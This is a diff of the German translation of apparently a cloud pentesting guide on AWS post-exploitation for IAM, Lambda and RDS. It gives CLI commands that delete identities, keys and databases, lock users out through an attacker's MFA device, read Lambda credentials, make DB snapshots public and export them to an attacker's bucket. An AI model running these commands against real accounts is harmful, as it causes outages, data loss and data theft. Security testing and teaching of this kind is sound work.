@@ -39,7 +39,7 @@ Beispiel:
}
```
> [!WARNING]
> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er irgendwie herausfinden, ob Principals des aktuellen Kontos Rollen in anderen Konten übernehmen (impersonate) können.
> Damit ein Angreifer einen confused deputy ausnutzen kann, muss er auf irgendeine Weise herausfinden, ob Principals des aktuellen Accounts Rollen in anderen Accounts übernehmen bzw. sich als diese Rollen ausgeben können.
### Unerwartete Vertrauensstellungen
@@ -62,7 +62,7 @@ Diese Richtlinie **erlaubt allen AWS**, die Rolle zu übernehmen.
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
Diese Richtlinie **erlaubt jedem Konto**, sein apigateway so zu konfigurieren, dass es dieses Lambda aufruft.
Diese Richtlinie **erlaubt jedem Konto**, apigateway so zu konfigurieren, dass dieses Lambda aufgerufen wird.
#### S3 als Principal
```json
@@ -73,7 +73,7 @@ Diese Richtlinie **erlaubt jedem Konto**, sein apigateway so zu konfigurieren, d
}
}
```
Wenn ein S3 bucket als principal angegeben ist — da S3 buckets keine Account ID haben — und du **deinen Bucket gelöscht hast und der Angreifer ihn** in seinem eigenen Account erstellt hat, dann könnten sie das ausnutzen.
Wenn ein S3 bucket als Principal angegeben ist — da S3 buckets keine Account ID haben — könnten Angreifer dies ausnutzen, wenn du **deinen bucket gelöscht hast und der attacker ihn in seinem eigenen Account erstellt hat**.
#### Nicht unterstützt
```json
@@ -84,10 +84,10 @@ Wenn ein S3 bucket als principal angegeben ist — da S3 buckets keine Account I
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
Eine gängige Methode, um Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Origin-ARN zu prüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie z. B. CloudTrail, laut einigen Quellen).
Eine gängige Methode, Confused Deputy-Probleme zu vermeiden, ist die Verwendung einer Bedingung mit `AWS:SourceArn`, um die Ursprungs-ARN zu prüfen. Allerdings **unterstützen einige Dienste das möglicherweise nicht** (wie CloudTrail laut einigen Quellen).
### Löschung von Zugangsdaten
Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur Zugriffsschlüssel, Login-Profile, SSH-Schlüssel, servicespezifische Anmeldeinformationen, Instance-Profile, Zertifikate oder CloudFront public keys entfernen oder Rollen von Instance-Profilen trennen. Solche Aktionen können sofort legitime Benutzer und Anwendungen aussperren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Zugangsdaten abhängen; daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
### Löschen von Anmeldeinformationen
Mit einer der folgenden Berechtigungen — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kann ein Akteur Zugriffsschlüssel, Login-Profile, SSH-Schlüssel, dienstspezifische Anmeldeinformationen, Instance-Profile, Zertifikate oder CloudFront public keys entfernen bzw. Rollen von Instance-Profilen trennen. Solche Aktionen können sofort legitime Benutzer und Anwendungen blockieren und zu denial-of-service oder zum Verlust des Zugriffs für Systeme führen, die von diesen Anmeldeinformationen abhängen, daher müssen diese IAM-Berechtigungen streng eingeschränkt und überwacht werden.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
@@ -99,8 +99,8 @@ aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Identitätslöschung
Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen bzw. die Gruppenmitgliedschaft ändern, wodurch Identitäten und zugehörige Spuren entfernt werden. Das kann sofort den Zugriff für Personen und Dienste unterbrechen, die von diesen Identitäten abhängen, und zu denial-of-service oder zum Verlust des Zugriffs führen, daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
### Löschen von Identitäten
Mit Berechtigungen wie `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` oder `iam:RemoveUserFromGroup` kann ein Akteur Benutzer, Rollen oder Gruppen löschen — oder die Gruppenmitgliedschaft ändern — und so Identitäten und zugehörige Spuren entfernen. Dies kann sofort den Zugriff für Personen und Dienste unterbrechen, die auf diese Identitäten angewiesen sind, wodurch ein Denial-of-Service oder ein Zugriffsverlust entstehen kann. Daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
```bash
# Delete a user
aws iam delete-user \
@@ -115,7 +115,7 @@ aws iam delete-role \
--role-name <Role>
```
###
Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur verwaltete oder Inline-Richtlinien löschen oder abtrennen, Richtlinienversionen oder Berechtigungsgrenzen entfernen und Richtlinien von Benutzern, Gruppen oder Rollen trennen. Dies zerstört Autorisierungen und kann das Berechtigungsmodell verändern, was zu sofortigem Zugriffsverlust oder Denial-of-Service für Principals führen kann, die von diesen Richtlinien abhängig waren, daher müssen diese IAM-Aktionen streng eingeschränkt und überwacht werden.
Mit einer der folgenden Berechtigungen — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kann ein Akteur managed/inline policies löschen oder abtrennen, policy versions oder permissions boundaries entfernen und policies von Benutzern, Gruppen oder Rollen entkoppeln. Dies zerstört Autorisierungen und kann das Berechtigungsmodell verändern, was zu einem sofortigen Verlust des Zugriffs oder zu einem Denial-of-Service für principals führen kann, die von diesen policies abhängig waren. Daher müssen diese IAM actions streng eingeschränkt und überwacht werden.
```bash
# Delete a group policy
aws iam delete-group-policy \
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### Löschung föderierter Identitäten
Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identitätsanbieter löschen oder Client-IDs entfernen. Dadurch wird die föderierte Authentifizierung unterbrochen, die Token-Validierung verhindert und der Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, sofort verweigert, bis der IdP oder die Konfigurationen wiederhergestellt sind.
### Löschen föderierter Identitäten
Mit `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` und `iam:RemoveClientIDFromOpenIDConnectProvider` kann ein Akteur OIDC-/SAML-Identity-Provider löschen oder Client-IDs entfernen. Dadurch wird die föderierte Authentifizierung unterbrochen, die Token-Validierung verhindert und der Zugriff für Benutzer und Dienste, die auf SSO angewiesen sind, sofort verweigert, bis der IdP oder die Konfigurationen wiederhergestellt sind.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
@@ -138,8 +138,8 @@ aws iam delete-open-id-connect-provider \
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### Illegitimate MFA Activation
Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät an der Identität eines Benutzers registrieren und so verhindern, dass der legitime Benutzer sich anmeldet. Sobald ein nicht autorisiertes MFA aktiviert ist, kann der Benutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Wenn mehrere MFA-Geräte registriert sind, ist für die Anmeldung nur eines erforderlich, sodass dieser Angriff keinen Effekt auf das Verweigern des Zugriffs hat).
### Illegitime MFA-Aktivierung
Mit `iam:EnableMFADevice` kann ein Angreifer ein MFA-Gerät an der Identität eines Benutzers registrieren und so verhindern, dass sich der berechtigte Benutzer anmeldet. Sobald ein nicht autorisiertes MFA-Gerät aktiviert ist, kann der Benutzer ausgesperrt werden, bis das Gerät entfernt oder zurückgesetzt wird (Hinweis: Wenn mehrere MFA-Geräte registriert sind, reicht zur Anmeldung eines davon; hat dieser Angriff daher keine Wirkung bei der Verhinderung des Zugriffs).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Manipulation von Zertifikat-/Schlüsselmetadaten
Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten von öffentlichen Schlüsseln und Zertifikaten ändern. Durch das Deaktivieren von Schlüsseln/Zertifikaten oder das Ändern von Verweisen können sie die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und sofort Dienste stören, die von diesen Anmeldeinformationen abhängen, was zu Verlust des Zugriffs oder der Verfügbarkeit führt.
### Manipulation von Zertifikats-/Schlüsselmetadaten
Mit `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kann ein Akteur den Status oder die Metadaten öffentlicher Schlüssel und Zertifikate ändern. Indem er Schlüssel/Zertifikate als inaktiv markiert oder Verweise verändert, kann er die SSH-Authentifizierung unterbrechen, X.509/TLS-Validierungen ungültig machen und sofort Dienste stören, die von diesen Zugangsdaten abhängen, was zu Zugriffsverlust oder Verfügbarkeitsausfällen führt.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
@@ -161,7 +161,7 @@ aws iam update-server-certificate \
```
### `iam:Delete*`
Das IAM-Wildcard iam:Delete* gewährt die Möglichkeit, viele Arten von IAM-Ressourcen zu entfernen — Benutzer, Rollen, Gruppen, Richtlinien, Schlüssel, Zertifikate, MFA-Geräte, Richtlinienversionen usw. — und hat daher einen sehr großen Blast-Radius: ein Akteur, dem iam:Delete* gewährt wurde, kann Identitäten, Zugangsdaten, Richtlinien und verwandte Artefakte dauerhaft vernichten, Prüf-/Beweismaterial entfernen und Service- oder Betriebsunterbrechungen verursachen. Einige Beispiele sind
Die IAM-Wildcard `iam:Delete*` ermöglicht das Entfernen vieler Arten von IAM-Ressourcen — users, roles, groups, policies, keys, certificates, MFA devices, policy versions, etc. — und hat daher ein sehr großes Schadenspotenzial: ein Akteur mit `iam:Delete*` kann Identitäten, Anmeldeinformationen, Richtlinien und zugehörige Artefakte dauerhaft zerstören, Audit-/Beweismaterial entfernen und Dienstausfälle oder Betriebsunterbrechungen verursachen. Einige Beispiele sind
```bash
# Delete a user
aws iam delete-user --user-name <Username>
@@ -174,11 +174,11 @@ aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
```
### `iam:EnableMFADevice`
Ein Akteur, dem die iam:EnableMFADevice-Aktion gewährt wurde, kann ein MFA device an einer identity im Account registrieren, vorausgesetzt, der user hatte nicht bereits eines aktiviert. Dies kann verwendet werden, um den Zugriff eines user zu stören: Sobald ein attacker ein MFA device registriert, kann der legitime user daran gehindert werden, sich anzumelden, weil er das vom attacker registrierte MFA nicht kontrolliert.
Ein Akteur, dem die iam:EnableMFADevice-Aktion gewährt wurde, kann ein MFA-Gerät für eine Identität im Account registrieren, vorausgesetzt, der Benutzer hatte noch keines aktiviert. Dies kann genutzt werden, um den Zugriff eines Benutzers zu stören: Sobald ein attacker ein MFA-Gerät registriert hat, kann der berechtigte Benutzer daran gehindert werden, sich anzumelden, da er das vom attacker registrierte MFA nicht kontrolliert.
Dieser Denial-of-access-Angriff funktioniert nur, wenn der user zuvor kein MFA registriert hatte; registriert der attacker ein MFA device für diesen user, wird der legitime user von allen Flows ausgesperrt, die dieses neue MFA erfordern. Hat der user bereits ein oder mehrere MFA devices unter seiner Kontrolle, blockiert das Hinzufügen eines attacker-controlled MFA den legitimen user nicht — er kann sich weiterhin mit jedem MFA authentifizieren, das er bereits besitzt.
Dieser Denial-of-access-Angriff funktioniert nur, wenn der Benutzer kein MFA registriert hatte; registriert der attacker ein MFA-Gerät für diesen Benutzer, wird der berechtigte Benutzer bei allen Flows ausgeschlossen, die dieses neue MFA voraussetzen. Hat der Benutzer bereits ein oder mehrere MFA-Geräte unter seiner Kontrolle, blockiert das Hinzufügen eines vom attacker kontrollierten MFA den berechtigten Benutzer nicht — er kann sich weiterhin mit jedem bereits vorhandenen MFA authentifizieren.
Um ein MFA device für einen user zu aktivieren (registrieren), könnte ein attacker folgenden Befehl ausführen:
Um ein MFA-Gerät für einen Benutzer zu aktivieren (registrieren), könnte ein attacker ausführen:
```bash
aws iam enable-mfa-device \
--user-name <Username> \

34
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
View File

@@ -10,29 +10,29 @@ Für weitere Informationen siehe:
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda Credentials exfiltrieren
### Exfilrtate Lambda Credentials
Lambda verwendet Umgebungsvariablen, um Credentials zur Laufzeit zu injizieren. Wenn Sie Zugriff auf diese erhalten können (z. B. durch Lesen von `/proc/self/environ` oder durch Ausführen der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` und `AWS_ACCESS_KEY_ID`.
Lambda verwendet Umgebungsvariablen, um credentials zur Runtime zu injizieren. Wenn Sie Zugriff auf diese erhalten können (z. B. durch Lesen von `/proc/self/environ` oder durch Verwendung der verwundbaren Funktion selbst), können Sie sie selbst verwenden. Sie liegen in den Standard-Variablennamen `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, und `AWS_ACCESS_KEY_ID`.
Standardmäßig haben diese Zugang, um in eine cloudwatch log group zu schreiben (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist), sowie zum Erstellen beliebiger log groups; allerdings haben Lambda functions häufig zusätzliche Berechtigungen, die anhand ihrer vorgesehenen Nutzung zugewiesen werden.
Standardmäßig haben diese Berechtigungen zum Schreiben in eine cloudwatch log group (deren Name in `AWS_LAMBDA_LOG_GROUP_NAME` gespeichert ist) sowie zum Erstellen beliebiger log groups; Lambda-Funktionen haben jedoch häufig weitere Berechtigungen, die ihrer vorgesehenen Nutzung entsprechen.
### `lambda:Delete*`
Ein Angreifer, dem `lambda:Delete*` gewährt wurde, kann Lambda functions, versions/aliases, layers, event source mappings und andere zugehörige Konfigurationen löschen.
Ein Angreifer, dem `lambda:Delete*` gewährt wurde, kann Lambda functions, Versionen/Aliase, layers, event source mappings und andere zugehörige Konfigurationen löschen.
```bash
aws lambda delete-function \
--function-name <LAMBDA_NAME>
```
### Andere Lambda-URL-Anfragen stehlen
Wenn ein Angreifer es schafft, RCE innerhalb einer Lambda-Funktion zu erlangen, kann er HTTP-Anfragen anderer Benutzer an die Lambda-Funktion stehlen. Enthalten die Anfragen sensible Informationen (Cookies, Zugangsdaten...), kann er diese auslesen.
Wenn ein Angreifer es schafft, RCE in einer Lambda-Funktion zu erlangen, kann er HTTP-Anfragen anderer Nutzer an die Lambda abfangen. Wenn die Anfragen sensible Informationen enthalten (Cookies, Anmeldeinformationen...), kann er diese stehlen.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### Andere Lambda-URL- und Extensions-Anfragen stehlen
### Andere Lambda-URL-Anfragen & Extensions-Anfragen stehlen
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und in der Lambda-Funktion persistierend zu bleiben sowie Anfragen zu stehlen und zu verändern.
Durch Missbrauch von Lambda Layers ist es außerdem möglich, Extensions auszunutzen und in der Lambda zu persistieren sowie Anfragen zu stehlen und zu manipulieren.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -40,31 +40,31 @@ Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu miss
### AWS Lambda – VPC Egress Bypass
Eine Lambda-Funktion aus einer eingeschränkten VPC zwingen, indem man ihre Konfiguration mit einer leeren VpcConfig (SubnetIds=[], SecurityGroupIds=[]) aktualisiert. Die Funktion läuft dann in der Lambda-managed networking plane, erlangt wieder ausgehenden Internetzugang und umgeht Egress-Kontrollen, die von privaten VPC-Subnets ohne NAT durchgesetzt werden.
Zwinge eine Lambda-Funktion aus einem eingeschränkten VPC heraus, indem du ihre Konfiguration mit einem leeren VpcConfig (SubnetIds=[], SecurityGroupIds=[]) aktualisierst. Die Funktion läuft dann im von Lambda verwalteten Netzwerkbereich, erhält wieder ausgehenden Internetzugang und umgeht damit Egress-Kontrollen, die durch private VPC-Subnets ohne NAT durchgesetzt werden.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda – Runtime Pinning/Rollback Abuse
### AWS Lambda – Runtime Pinning/Rollback Missbrauch
Missbrauchen Sie `lambda:PutRuntimeManagementConfig`, um eine Funktion an eine bestimmte Runtime-Version zu binden (Manual) oder Updates einzufrieren (FunctionUpdate). Dies erhält die Kompatibilität mit bösartigen layers/wrappers und kann die Funktion auf einer veralteten, verwundbaren Runtime halten, um Ausnutzung und langfristige Persistenz zu erleichtern.
Missbrauche `lambda:PutRuntimeManagementConfig`, um eine Funktion auf eine spezifische Runtime-Version zu pinnen (Manual) oder Updates einzufrieren (FunctionUpdate). Dadurch bleibt die Kompatibilität mit bösartigen Layers/Wrappers erhalten und die Funktion kann auf einer veralteten, verwundbaren Runtime gehalten werden, was Exploits und langfristige Persistenz erleichtert.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
### AWS Lambda – Log-Siphon via LoggingConfig.LogGroup-Umleitung
Missbrauchen Sie `lambda:UpdateFunctionConfiguration` erweiterte Logging-Kontrollen, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Log-Gruppe umzuleiten. Dies funktioniert, ohne Code oder die execution role zu ändern (die meisten Lambda-Rollen beinhalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` über `AWSLambdaBasicExecutionRole`). Wenn die Funktion Geheimnisse/Request-Bodies ausgibt oder mit Stacktraces abstürzt, können Sie diese aus der neuen Log-Gruppe sammeln.
Missbrauche die erweiterten Logging-Optionen von `lambda:UpdateFunctionConfiguration`, um die Logs einer Funktion in eine vom Angreifer gewählte CloudWatch Logs Log-Gruppe umzuleiten. Das funktioniert ohne Codeänderung oder Änderung der Execution-Role (die meisten Lambda-Rollen enthalten bereits `logs:CreateLogGroup/CreateLogStream/PutLogEvents` über `AWSLambdaBasicExecutionRole`). Wenn die Funktion Secrets/Request-Bodies ausgibt oder mit Stacktraces abstürzt, kannst du diese aus der neuen Log-Gruppe sammeln.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
### AWS - Lambda Function URL öffentliche Freigabe
Machen Sie eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem Sie den Function URL AuthType auf NONE setzen und eine resource-based policy anhängen, die lambda:InvokeFunctionUrl an alle gewährt. Dies ermöglicht anonyme Aufrufe interner Funktionen und kann sensible Backend-Operationen offenlegen.
Mache eine private Lambda Function URL zu einem öffentlichen, nicht authentifizierten Endpunkt, indem du den Function URL AuthType auf NONE setzt und eine resource-based policy anhängst, die lambda:InvokeFunctionUrl für alle gewährt. Das ermöglicht anonyme Aufrufe interner Funktionen und kann sensible Backend-Operationen offenlegen.
{{#ref}}
aws-lambda-function-url-public-exposure.md
@@ -72,15 +72,15 @@ aws-lambda-function-url-public-exposure.md
### AWS Lambda – Event Source Mapping Target Hijack
Missbrauchen Sie `UpdateEventSourceMapping`, um die Ziel-Lambda-Funktion einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Datensätze aus DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Dies lenkt Live-Daten stillschweigend um, ohne Produzenten oder den ursprünglichen Funktionscode zu berühren.
Missbrauche `UpdateEventSourceMapping`, um das Ziel einer bestehenden Event Source Mapping (ESM) zu ändern, sodass Datensätze von DynamoDB Streams, Kinesis oder SQS an eine vom Angreifer kontrollierte Funktion geliefert werden. Das leitet Live-Daten stillschweigend um, ohne Producer oder den Original-Code der Funktion zu berühren.
{{#ref}}
aws-lambda-event-source-mapping-hijack.md
{{#endref}}
### AWS Lambda – EFS Mount Injection data exfiltration
### AWS Lambda – EFS Mount Injection Datenexfiltration
Missbrauchen Sie `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda-Funktion anzuhängen, und deployen Sie dann trivialen Code, der Dateien aus dem eingebundenen Pfad auflistet/liest, um gemeinsam genutzte Geheimnisse/Konfiguration zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
Missbrauche `lambda:UpdateFunctionConfiguration`, um einen bestehenden EFS Access Point an eine Lambda anzuhängen, und deploye dann trivialen Code, der Dateien aus dem gemounteten Pfad auflistet/liest, um geteilte Secrets/Konfigurationen zu exfiltrieren, auf die die Funktion zuvor keinen Zugriff hatte.
{{#ref}}
aws-lambda-efs-mount-injection.md

129
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
View File

@@ -12,7 +12,7 @@ Für weitere Informationen siehe:
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
Wenn der Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt.
Wenn der Angreifer über ausreichend Berechtigungen verfügt, könnte er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus dem Snapshot wiederherstellt.
```bash
aws rds describe-db-instances # Get DB identifier
@@ -39,9 +39,9 @@ aws rds modify-db-instance \
# Connect to the new DB after a few mins
```
### `rds:StopDBCluster` & `rds:StopDBInstance`
Ein Angreifer mit rds:StopDBCluster oder rds:StopDBInstance kann das sofortige Stoppen einer RDS instance oder eines gesamten Clusters erzwingen, was zu Datenbankausfällen, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.
Ein Angreifer mit `rds:StopDBCluster` oder `rds:StopDBInstance` kann einen sofortigen Stopp einer RDS-Instanz oder eines gesamten Clusters erzwingen, was zu Nichtverfügbarkeit der Datenbank, unterbrochenen Verbindungen und zur Unterbrechung von Prozessen führt, die von der Datenbank abhängen.
Um eine einzelne DB instance zu stoppen (Beispiel):
Um eine einzelne DB-Instanz zu stoppen (Beispiel):
```bash
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
@@ -53,7 +53,7 @@ aws rds stop-db-cluster \
```
### `rds:Delete*`
Ein Angreifer, dem `rds:Delete*` gewährt wurde, kann RDS-Ressourcen entfernen — DB-Instanzen, Cluster, Snapshots, automatisierte Backups, Subnetzgruppen, Parameter-/Optionsgruppen und zugehörige Artefakte — und dadurch sofortige Serviceunterbrechungen, Datenverlust, Zerstörung von Wiederherstellungspunkten und Verlust forensischer Beweise verursachen.
Ein Angreifer mit rds:Delete* kann RDS-Ressourcen entfernen — DB-Instanzen, Cluster, Snapshots, automatisierte Backups, Subnet-Gruppen, Parameter-/Optionsgruppen und verwandte Artefakte löschen — und dadurch sofortige Serviceausfälle, Datenverlust, Zerstörung von Wiederherstellungspunkten sowie Verlust forensischer Beweise verursachen.
```bash
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
@@ -76,9 +76,9 @@ aws rds delete-db-cluster \
```
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er in seinem eigenen Konto einfach aus diesem Snapshot eine DB erstellen.
Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Dann könnte er in seinem eigenen Account einfach eine DB aus diesem Snapshot erstellen.
Hat der Angreifer **nicht die `rds:CreateDBSnapshot`**, kann er trotzdem **andere** erstellte Snapshots **öffentlich** machen.
Wenn der Angreifer **nicht die `rds:CreateDBSnapshot` hat**, könnte er trotzdem **andere** erstellte Snapshots **öffentlich** machen.
```bash
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -89,48 +89,48 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
```
### `rds:DownloadDBLogFilePortion`
Ein attacker mit der `rds:DownloadDBLogFilePortion` Berechtigung kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der attacker diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
**Potentielle Auswirkungen**: Zugriff auf sensible Informationen oder unbefugte Aktionen durch Verwendung von leaked credentials.
**Potentielle Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen unter Verwendung von leaked credentials.
### `rds:DeleteDBInstance`
Ein Angreifer mit diesen Berechtigungen kann **DoS bestehende RDS-Instanzen**.
Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**.
```bash
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
```
**Mögliche Auswirkungen**: Löschung bestehender RDS-Instanzen und möglicher Datenverlust.
**Mögliche Auswirkungen**: Löschung vorhandener RDS-Instanzen und möglicher Datenverlust.
### `rds:StartExportTask`
> [!NOTE]
> TODO: Testen
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er potenziell auf sensible Daten innerhalb des exportierten Snapshots zugreifen.
Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
```bash
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
```
**Potentielle Auswirkungen**: Zugriff auf sensible Daten im exportierten Snapshot.
### Regionenübergreifende Replikation automatisierter Backups für unauffällige Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
### Cross-Region automatisierte Backups-Replikation für unauffällige Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
Missbrauche die regionsübergreifende Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instance heimlich in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB anschließend öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des regulären Überwachungsbereichs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instance stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Zugriffs in einer Region auf Daten zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
Benötigte Berechtigungen (mindestens):
- `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
- `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
- `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
- `rds:ModifyDBInstance` in der Ziel-Region
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional, zur Bereinigung)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zugänglich zu machen)
- `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen)
Auswirkung: Persistenz und Datenexfiltration durch das Wiederherstellen einer Kopie von Produktionsdaten in einer anderen Region und das öffentliche Zugänglichmachen mit vom Angreifer kontrollierten Zugangsdaten.
